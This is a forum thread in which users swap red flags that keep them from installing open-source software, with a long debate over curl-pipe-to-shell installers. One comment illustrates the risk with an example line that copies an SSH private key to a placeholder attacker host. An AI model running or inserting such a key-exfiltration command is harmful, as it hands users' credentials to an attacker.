Have you ever found a GitHub project or anything that seemed nice and tempting to install until you dug a bit deeper?
What are some red flags that should detur anyone from installing and running something?
You must log in or # to comment.
Something I ran into just now was AI generated Imagery in Docs or as an Icon.
I am not even that Anti AI as many on here I feel like. But this is a sure fire way to show how much you don’t give a shit about your project. Just use emojis or some shit which is ironically even less work but somehow makes it seem more deliberate.Had a conversation with someone recently about exactly this. Usage of AI generated assets gives me exactly the same feelings as a local business using a gmail or personal ISP email account on their advertising.
It doesn’t automatically mean it’s bad, but it’s an indication that whoever is running things just can’t be bothered to put in effort.
Bun seems cool, but it’s icon looks too much like slop
I don’t think it is. IIRC they had that before Image Generation was a thing. You really can’t tell though with the simple cute art style AI can very easily recreate.
I tried to explain that to my manager but he didn’t believe me
-
It’s not already in my distro’s package manager
-
A github project with 1000 open issues and no commits for 3 years.
Ubuntus package repo is so out of date though. It’s such a pain in the ass.
You clearly haven’t seen Debian stable.
-
Cant remember what they are off the top of my head, but there’s been a couple of times I wanted to download a FOSS program, but it was only available to install through the Microsoft store.
Some, like ImageGlass, provide workarounds. Like, they provide a separate install but it also comes bundled with the Opera browser (which itself has become two shakes away from raw spyware as of late), so you do have to be careful to deselect that option.
Goes without saying, but no activity for a very long time makes me skeptic. Also annoying when then aren’t any releases, or only available as source.
- New post about a promising selfhosted app
- looks inside
- em dashes, emojis, release in last 24h with 35 commits since.
I fucking swear, if only vibe coders would ACTUALLY write up their own posts about THEIR OWN SOFTWARE, many would not act harsh towards them as much as it happens.
What’s wrong with em dashes? I use it wherever English syntax requires it.
Evidence of vibe-coding. Em dashes and emojis sprinkled throughout the documentation? Code with inline comments pointlessly describing some change, as if you want to know what that block of code used to do more than what it actually does?
It’s vibe-coded garbage by someone who doesn’t know how to code. Stay far away.
cough huntarr cough
Yeah, that… I feel really bad for anyone who trusted and implemented it. The sheer level of exposure with that was mind-blowing. I mean, an endpoint you could hit and just… Get all the API keys?
For anyone who doesn’t know, this write-up is a good one: https://gigcitygeek.com/2026/03/08/huntarr-api-security-risk/
Long story short, a vibe-coded security nightmare for anyone foolish enough to trust it.
the fucking bouncing arrow at the bottom of the page is insufferable
Omfg Gemini loves to add tons of comments on already self explanatory code. It’s super annoying.
I have a solution to that:
🌈✨ Stop using AI to code. ✨🌈
That ship has sailed. The question is how to use AI to code, for every project there’s a sweet spot and it rarely is 0% or 100%.
You really don’t need to. Nobody is forcing you.
And if they are, seriously considering finding another place of work.
I very much enjoy using AI for all the biloilerplate, test cases, suggestions, etc. It really makes me more productive, hard metrics behind it. Nobody is forcing me to, they just provide the license and let us use our judgment.
I honestly can’t think of a project where 0% AI would be better. For 100% maybe a very trivial PoC, but even that would require at least a code revision.
So, as with many things, use in moderation is fine.
I’d be curious to see what your hard metrics are based on.
https://mikelovesrobots.substack.com/p/wheres-the-shovelware-why-ai-coding
Points per sprint, features shipped, test coverage. Defects remain unchanged.
It’s almost certainly also making your code worse.
It’s not impossible to use AI effectively (although I would argue it’s impossible to use large “frontier” models ethically, as the companies making them are burning the planet down to power the process), but you have to be extremely vigilant and thoughtful about what you’re using it for, and you have to review every single line of code it produces, or you’re going to miss bugs and you’re going to lose skills.
A good way to test yourself is to see if you can still scaffold out an application by hand. Doesn’t matter what… A to-do list, some buttons, whatever. Just test yourself to see if you can still do it.
If you can’t, then you’ve lost the skills necessary to be certain that what you’re producing with AI is actually good.
And if the idea of testing yourself like this makes you uncomfortable? Then AI isn’t a tool you use, it’s an addiction.
I mean, I do leet code semi-regularly, so I’m not too worried about getting rusty. Writing tests is boring as hell, the AI does a decent enough job for at least 90% of them.
Good luck finding a tech company that isn’t forcing devs to use AI.
Uh, I’m working at one.
That was quick.
And? I didn’t say it was impossible. I said “good luck”
Are they hiring?
Emoji ridden repos just scream scam to me, too. I feel like people who genuinely want to make an app and actually keep it maintained wouldn’t resort to AI slop code or even a description.
inline comments pointlessly describing some change, as if you want to know what that block of code used to do more than what it actually does?
Oh, shit, am AI.
Same, but only after my boss decides to change the functionality for the third time in half a year.
Exactly. I worked on a interface where the elements where shift under conflicting business interests. The comments where a log of dates, person, and what they asked for as we worked on our side to build a case against the insanity.
The comments listed not only what it clearly did but also what it had previously done. Then inevitably something comes in hours before a launch window and that part does not get its comment updated.
curl | shinstallation method- vomit-colored website, vomit-colored developer avatars, or more obvious: AGENTS.MD in the repo
- compiling yourself is “unsupported”/“not recommended”
- the official website aggressively advertising the company’s SAAS which makes it look like their opensource software is actually paid product
- github issues using convoluted template, instead of letting me write freeform text
It’s annoying that the Proxmox helper scripts are all curl | sh based.
Some mature projects still do curl .sh, like pivpn and pihole.
which makes sense because they don’t maintain packages on the dozens of different package manager repos.
IMO it’s kind of bogus to knock a project for having a shell install file.
Eh, I’d be more sympathetic if there were a dozen different alternatives to making this exclusively how people install your software.
It’s a virus delivery system waiting to happen. Especially now when you have AI that can help you stand up an imposter site quickly and easily.
it’s not the impact to the user having dozens of choices.
it’s the impact to the developer to having to maintain the packages for dozens of package repo admins that have each their own special requirements for packages that have to be followed. it’s a huge pita that most companies don’t even bother with and just run their own package repo.
IMO the user isn’t blameless when using an install script. anyone who just blindly runs arbitrary code without reading it is a fool asking to be attacked.
Exactly, it’s a shift in responsibilities from the developers of a thing to the users of that thing.
As a grunt at work and a mid-tier “money haver” at best, I’m tired of having everything shift its costs onto me and it’s a red flag that prevents me from installing and running a software package.
Everything around nowadays does this shift if they can get away with it.
I have to set limits on what I tolerate to achieve what gain or the world will leave me dead with a giant tire mark across my chest.
as a foss dev, your problems aren’t my problems.
As a sporadic foss contributor and foss advocate, I ain’t even installing your shit if the only install option is curl pipe to shell.
And I also do think it’s a red flag exactly like the original poster was looking for.
If it’s not open source or you are not compiling it:
Why so much fear about the shell script but no fear from the executable?
If it’s open source and you are compiling it:
If you don’t fear the project because you (presumably) have read the source code and determined that it’s fine, why fear a shell script that is most certainly simpler, and you can read it like the rest of the code?
Why so much fear about the shell script but no fear from the executable?
Huh? Fear from both.
If you fear both, and
curl | shis a red flag. Binary blob is also a red flag, if you fear them both equally.Has every software that runs in your computer been compiled by you?
Noob here, what’s wrong with curl | sh installs?
As others have said, you are boldly trusting that the script you’re downloading is safe. ALWAYS examine a script before you pipe to bash. Also, open the script in your browser, the copy paste j to your terminal. It’s entirely possible to change the script based on use agent to display differently when your check in your browser versus when you pipe to bash
The real answer is that user-agents can be used to show you one version in your browser and then serve you another one with curl.
I say “real” because all the idiots talking about “don’t run scripts from the internet!!!” probably forget they don’t decompile every binary they run. E.g. the rustup installer (the tool for managing Rust toolchains) is by default a curl+bash one liner. Why would I worry about them serving me a wrong script when I’m any way about to run their binary blob?
If you have any doubt about the hosting service (which might or not be the same as the software author!) then avoid piping into bash, but then why would you run their code at all if you distrust them so much? Do you expect github to install a keylogger? Probably not. Some telemetry hook to know whose running the requested script? Possibly someday
It forces you to blindly trust that whatever script curl will download is save to run and does exactly what you want / was promised as it will be executed right away.
“Download this shell script from the web and execute it right away.”
Probably close to 80% of the words in the sentence are wrong.
Let’s say you curl bash something and it has ie ‘scp ~/.ssh/id_ed25519 badComputerGuy’ in it then you just uploaded your private key to the bad guys. And that’s why ssh keys should be password protected
In THEORY they’re bad because the script could do malicious things and you shouldn’t blindly trust random people on the internet telling you what to execute.
In practice it’s mostly fearmongering because you’re likely trying to install a binary that could do malicious things anyways. “Mostly” because it is a bit less safe as one could MITM the script more easily or something, but not really by that much.
You shouldn’t run
curl | shscripts some random person sends you, but running an official script prom an official source is no more dangerous than running a .Deb file from that same source.
"To use program xyz, sign up!
The repo does not actually contain the source code, instead a link to download from a different site.
Unless that different site is Codeberg.
Or git.gay or Bitbucket.com
Venture capital funding. The plan is always to do a rug pull. Though if it properly freely licensed and the code is reasonable enough to be forked, it’s less worrying but still risky. It’s better to work with honest people.
This is why I avoid Bluesky
https://bsky.social/about/blog/03-19-2026-series-b
I didn’t know this about bluesky D:, but it makes sense. Thanks for the heads up. The atproto ecosystem seems to have cool features for user empowerment and it seems to work well on the few occasions I’ve visited atproto sites. I hope they can find an ethical way to persevere, but I can’t imagine that being easy.
When installing if I see a pre-checked check mark I will be more likely to read what the software is trying to install. What are you trying to install now?
🚩 - here’s one
This comment scares me
Web browsers are software, they can render a red flag
If it isn’t in the AUR, it can’t be useful.
Requires weird IDE to build
I shifted 8 GB of files to an older machine just to be able to install Android SDK on barely-supported hardware, and now I’m cloning the repo and the
.gradledirectory alone is 1 GB?If the project maintainer has a policy of “no politics allowed.”
Rather than a policy more along the lines of “be respectful”
100%.
Then you look through their history and it’s them laugh emojiing something like doing a LGBT suicide or some ridiculous shit.
